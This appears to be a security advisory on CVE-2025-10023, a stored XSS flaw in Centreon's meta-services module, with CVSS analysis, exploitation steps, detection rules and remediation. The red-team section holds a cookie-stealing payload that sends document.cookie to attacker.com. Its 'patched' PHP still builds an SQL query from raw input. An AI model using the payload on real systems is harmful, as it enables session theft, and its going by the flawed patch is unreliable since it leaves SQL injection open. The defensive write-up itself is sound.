CVE-2025-10023

Executive Summary

CVE-2025-10023 is a Stored Cross-Site Scripting (XSS) vulnerability in Centreon Infra Monitoring, specifically within the Services Meta-services modules. This vulnerability allows users with elevated privileges to inject malicious scripts into web pages generated by the application. The injected script is stored on the server and executed in the context of other users' browsers when they view the affected page. The CVSS score is 6.2 (Medium), but the impact is significant due to the potential for privilege escalation, data theft, and lateral movement within a monitored infrastructure. The vulnerability affects Centreon Infra Monitoring versions 23.10.0 before 23.10.26, 24.04.0 before 24.04.16, and 24.10.0 before 24.10.9. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in Centreon's proprietary code. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 6.2 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – An attacker must have elevated privileges (e.g., admin or meta-services manager) to inject the payload.
• User Interaction (UI): Required (R) – The victim must view the compromised page.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) – An attacker could steal sensitive data (e.g., session tokens, credentials).
• Integrity (I): High (H) – An attacker could modify data or execute actions on behalf of the victim.
• Availability (A): High (H) – An attacker could disrupt monitoring services or delete critical configurations.

Threat Level: Medium. Exploitation requires elevated privileges, but the impact is high due to the potential for lateral movement and data exfiltration in a monitoring environment.

Deep Dive & Mechanics

The vulnerability resides in the Services Meta-services modules of Centreon Infra Monitoring. These modules allow administrators to define meta-services that aggregate data from multiple services. The input fields for meta-service names, descriptions, or custom parameters are not properly sanitized before being stored in the database and later rendered in web pages.

Attack Flow:

1. An attacker with elevated privileges (e.g., admin or meta-services manager) logs into Centreon.
2. The attacker navigates to the meta-services configuration page and injects a malicious JavaScript payload into an input field (e.g., meta-service name or description).
3. The payload is stored in the database without proper sanitization.
4. When another user (including lower-privileged users or admins) views the meta-services list or details page, the payload is executed in their browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect them to a malicious site.

Root Cause: Improper neutralization of input during web page generation (CWE-79). The application fails to encode or sanitize user-supplied data before rendering it in HTML context.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In a Centreon module (e.g., meta-services configuration)
$meta_service_name = $_POST['meta_service_name'];
// Directly stored and rendered without sanitization
$query = "INSERT INTO meta_services (name) VALUES ('$meta_service_name')";
// Later, when rendering:
echo "<div>" . $meta_service_name . "</div>";

Patched Code (Example):

// Patched version with proper sanitization
$meta_service_name = htmlspecialchars($_POST['meta_service_name'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO meta_services (name) VALUES ('$meta_service_name')";
// When rendering:
echo "<div>" . $meta_service_name . "</div>";

The patched code uses htmlspecialchars() to encode special characters (e.g., <, >, ", ', &) into their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to Centreon with elevated privileges (e.g., admin or meta-services manager).
• Target Centreon version within the vulnerable range.

Steps:

1. Log in to Centreon as an admin.
2. Navigate to Configuration > Services > Meta Services.
3. Click "Add" to create a new meta-service.
4. In the "Name" field, inject the following payload:

   <script>alert('XSS')</script>
   

5. Save the meta-service.
6. As a victim user, navigate to Monitoring > Services > Meta Services and view the list. The script will execute.

Advanced Payload (Session Theft):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual meta-service names or descriptions containing <script>, onerror, onload, or other HTML/JavaScript keywords.
• Use web application firewalls (WAF) to block XSS payloads in POST requests to Centreon endpoints.
• Enable Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Apply the vendor patch by upgrading to Centreon Infra Monitoring 23.10.26, 24.04.16, or 24.10.9.
• Implement input validation and output encoding for all user-supplied data.
• Restrict elevated privileges to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing document.cookie or localStorage data.
  • Unusual POST requests to Centreon endpoints with HTML/JavaScript payloads in meta-service fields.

• Host IOCs:

  • Log entries in Centreon audit logs showing creation or modification of meta-services with suspicious names.
  • Browser console errors or alerts indicating script execution.

• File IOCs:

  • Modified Centreon database entries in the meta_services table containing <script> tags.

Detection Engineering

YARA Rule

rule Centreon_Stored_XSS_CVE_2025_10023 {
    meta:
        description = "Detects stored XSS payloads in Centreon meta-services data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10023"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $xss_event = /on\w+\s*=\s*["']?[^"']*["']?/si
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Centreon Stored XSS in Meta-Services
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts in Centreon meta-services configuration
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10023
logsource:
    product: centreon
    service: web
detection:
    selection:
        http.method: POST
        http.url: /centreon/api/latest/meta-services
        http.body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in meta-service descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10023 Centreon Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/centreon/api/latest/meta-services"; http_uri;
    content:"<script>"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-10023;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Centreon Infra Monitoring to the patched versions: 23.10.26, 24.04.16, or 24.10.9.
2. If upgrade is not possible, restrict access to meta-services configuration to only essential personnel.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-Term Measures:

• Enforce strict input validation and output encoding for all user-supplied data.
• Conduct regular security audits and penetration testing.
• Monitor Centreon logs for suspicious activity.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Disable the meta-services module if not in use.
• Manually sanitize meta-service names and descriptions via database queries (not recommended as a permanent fix).

Valters IT